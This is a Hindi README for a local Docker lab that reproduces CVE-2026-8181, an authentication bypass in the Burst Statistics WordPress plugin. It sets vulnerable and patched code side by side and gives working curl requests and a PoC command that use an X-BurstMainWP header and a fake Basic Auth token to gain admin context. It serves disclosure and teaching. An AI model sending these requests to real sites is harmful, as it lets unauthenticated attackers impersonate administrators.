CVE-2026-8181 — Burst Statistics प्रमाणीकरण बायपास लैब

CVE-2026-8181 के लिए केवल-स्थानीय Docker लैब, जो WordPress प्लगइन Burst Statistics – Privacy-Friendly WordPress Analytics में एक प्रमाणीकरण बायपास है।

यह लैब एक कमज़ोर प्लगइन संस्करण की तुलना पैच किए गए संस्करण से करता है और उपयोगकर्ता बनाए बिना, फ़ाइलें अपलोड किए बिना, या WordPress स्थिति को संशोधित किए बिना अंतर साबित करने के लिए एक न्यूनतम-हानि PoC का उपयोग करता है।

सारांश

प्रभावित प्लगइन: Burst Statistics – Privacy-Friendly WordPress Analytics प्रभावित संस्करण: 3.4.0 से 3.4.1.1 पैच किया गया संस्करण: 3.4.2 भेद्यता प्रकार: प्रमाणीकरण बायपास / अनुचित प्रमाणीकरण प्रभाव: एक बिना प्रमाणीकृत हमलावर, यदि उसे किसी मान्य व्यवस्थापक का उपयोगकर्ता नाम पता हो, तो REST API अनुरोध की अवधि के लिए व्यवस्थापक का रूप धारण कर सकता है।

इस लैब में:

• vuln Burst Statistics 3.4.1.1 चलाता है
• patched Burst Statistics 3.4.2 चलाता है
• PoC X-BurstMainWP: 1 के साथ एक नकली Basic Authentication पासवर्ड भेजता है
• कमज़ोर सेवा अनुरोध को व्यवस्थापक के रूप में मानती है
• पैच की गई सेवा उसी अनुरोध को अस्वीकार कर देती है

लैब आर्किटेक्चर

सेवा	विवरण	URL
vuln	WordPress + Burst Statistics 3.4.1.1	http://127.0.0.1:8081
patched	WordPress + Burst Statistics 3.4.2	http://127.0.0.1:8082
db_vuln	कमज़ोर WordPress के लिए MySQL	केवल आंतरिक
db_patched	पैच किए गए WordPress के लिए MySQL	केवल आंतरिक
seed	एक-बार WP-CLI सेटअप कंटेनर	केवल आंतरिक

seed सेवा WordPress स्थापित करती है, लैब व्यवस्थापक बनाती है, और दोनों वातावरणों में Burst Statistics सक्रिय करती है।

लैब व्यवस्थापक उपयोगकर्ता नाम:

labadmin

PoC जानबूझकर बायपास साबित करने के लिए गलत पासवर्ड का उपयोग करता है।

मूल कारण

Burst Statistics में MainWP-संबंधित प्रॉक्सी प्रमाणीकरण पथ शामिल है। जब एक REST API अनुरोध में यह हेडर शामिल होता है:

X-BurstMainWP: 1

Burst प्रमाणीकरण MainWP_Proxy::is_mainwp_authenticated() को सौंपता है।

कमज़ोर संस्करण में, फ़ंक्शन हमलावर-नियंत्रित Basic Authentication क्रेडेंशियल पढ़ता है, उपयोगकर्ता नाम और पासवर्ड निकालता है, और उन्हें WordPress कोर को भेजता है:

$is_valid = wp_authenticate_application_password( null, $username, $password );

बग रिटर्न-वैल्यू जाँच में है।

कमज़ोर लॉजिक: 3.4.1.1

includes/Frontend/class-mainwp-proxy.php से सरलीकृत:

$is_valid = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $is_valid ) ) {
    return false;
}

$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
    return false;
}

wp_set_current_user( $user->ID );
return true;

कमज़ोर कोड केवल WP_Error को अस्वीकार करता है। हालाँकि, wp_authenticate_application_password() null या कोई अन्य गैर-उपयोगकर्ता मान लौटा सकता है जब प्रमाणीकरण वास्तव में सफल नहीं हुआ हो। चूँकि null एक WP_Error नहीं है, जाँच पास हो जाती है।

उसके बाद, प्लगइन दिए गए उपयोगकर्ता नाम को खोजता है और कॉल करता है:

wp_set_current_user( $user->ID );

यह WordPress को वर्तमान REST API अनुरोध को उस उपयोगकर्ता के रूप में मानने के लिए बाध्य करता है। यदि उपयोगकर्ता नाम किसी व्यवस्थापक का है, तो WordPress क्षमता जाँचें अनुरोध के शेष भाग के लिए एक व्यवस्थापक देखती हैं।

पैच लॉजिक

पैच किया गया संस्करण आगे बढ़ने से पहले एक वास्तविक प्रमाणीकृत उपयोगकर्ता ऑब्जेक्ट की आवश्यकता करके प्रमाणीकरण जाँच को ठीक करता है।

पैच लॉजिक: 3.4.2

अवधारणात्मक रूप से, समाधान यह है:

$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}

महत्वपूर्ण परिवर्तन यह है कि केवल "गैर-त्रुटि" रिटर्न मान अब पर्याप्त नहीं है। प्रमाणीकरण परिणाम एक वास्तविक \WP_User ऑब्जेक्ट होना चाहिए।

यह उस कमज़ोर पथ को अवरुद्ध करता है जहाँ null पुरानी is_wp_error() जाँच को बायपास कर देता है।

यह क्यों महत्वपूर्ण है

लैब निम्न का उपयोग करके एक केवल-पठनीय प्रमाण प्रदर्शित करता है:

/wp/v2/users/me?context=edit

वह एंडपॉइंट यह दिखाने के लिए पर्याप्त है कि WordPress अनुरोध को प्रमाणीकृत मानता है या नहीं।

वास्तविक-विश्व प्रभाव इस लैब प्रमाण से अधिक हो सकता है। यदि कोई हमलावर REST API अनुरोध के लिए व्यवस्थापक का रूप धारण कर सकता है, तो वे विशेषाधिकार प्राप्त WordPress एंडपॉइंट तक पहुँच सकते हैं। सामान्य WordPress कॉन्फ़िगरेशन में, व्यवस्थापक पहुँच खाता निर्माण, एप्लिकेशन पासवर्ड, प्लगइन स्थापना, थीम संशोधन, या अन्य प्रशासनिक क्रियाओं के माध्यम से स्थायी साइट अधिग्रहण का कारण बन सकती है।

यह रिपॉजिटरी जानबूझकर उन विनाशकारी पथों से बचती है।

चलाएँ

docker compose up -d --build

एक-बार seed सेवा के समाप्त होने की प्रतीक्षा करें:

docker compose logs seed

अपेक्षित seed आउटपुट:

[+] vuln: Burst Statistics version = 3.4.1.1
[+] patched: Burst Statistics version = 3.4.2
[+] Seed complete

Python निर्भरता स्थापित करें:

python3 -m venv .venv
source .venv/bin/activate
pip install requests

कमज़ोर सेवा के विरुद्ध PoC चलाएँ:

python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin

अपेक्षित कमज़ोर परिणाम:

=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 200
roles: ["administrator"]

[+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.

पैच की गई सेवा के विरुद्ध वही PoC चलाएँ:

python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin

अपेक्षित पैच परिणाम:

=== baseline without bypass headers ===
status: 401

=== with X-BurstMainWP + fake Basic password ===
status: 401

[+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.

मैन्युअल परीक्षण

एक नकली Basic Authentication टोकन बनाएँ:

TOKEN=$(printf 'labadmin:not-the-real-password' | base64)

कमज़ोर सेवा

बायपास हेडर के बिना आधारभूत अनुरोध:

curl -sS -i \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

अपेक्षित:

HTTP/1.1 401 Unauthorized
rest_not_logged_in

बायपास प्रयास:

curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'

अपेक्षित:

HTTP/1.1 200 OK
"slug":"labadmin"
"roles":["administrator"]

पैच की गई सेवा

पैच की गई सेवा के विरुद्ध वही बायपास प्रयास चलाएँ:

curl -sS -i \
  -H 'X-BurstMainWP: 1' \
  -H "Authorization: Basic $TOKEN" \
  'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'

अपेक्षित:

HTTP/1.1 401 Unauthorized
rest_not_logged_in

सर्वर-पक्ष साक्ष्य

कमज़ोर सेवा व्यवहार परिवर्तन स्पष्ट रूप से दिखाती है:

GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 200

पैच की गई सेवा बिना प्रमाणीकरण और बायपास दोनों प्रयासों को अस्वीकार करती है:

GET /?rest_route=/wp/v2/users/me&context=edit 401
GET /?rest_route=/wp/v2/users/me&context=edit 401

सुरक्षा नोट्स

यह PoC जानबूझकर न्यूनतम-हानि वाला है:

• कोई व्यवस्थापक खाता निर्माण नहीं
• कोई एप्लिकेशन पासवर्ड निर्माण नहीं
• कोई प्लगइन अपलोड नहीं
• कोई थीम संशोधन नहीं
• कोई कमांड निष्पादन नहीं
• कोई स्थायी स्थिति परिवर्तन नहीं
• PoC स्क्रिप्ट में केवल-लोकलहोस्ट सुरक्षा

इस लैब का उपयोग केवल अपने स्वयं के स्थानीय Docker वातावरण में करें।

संदर्भ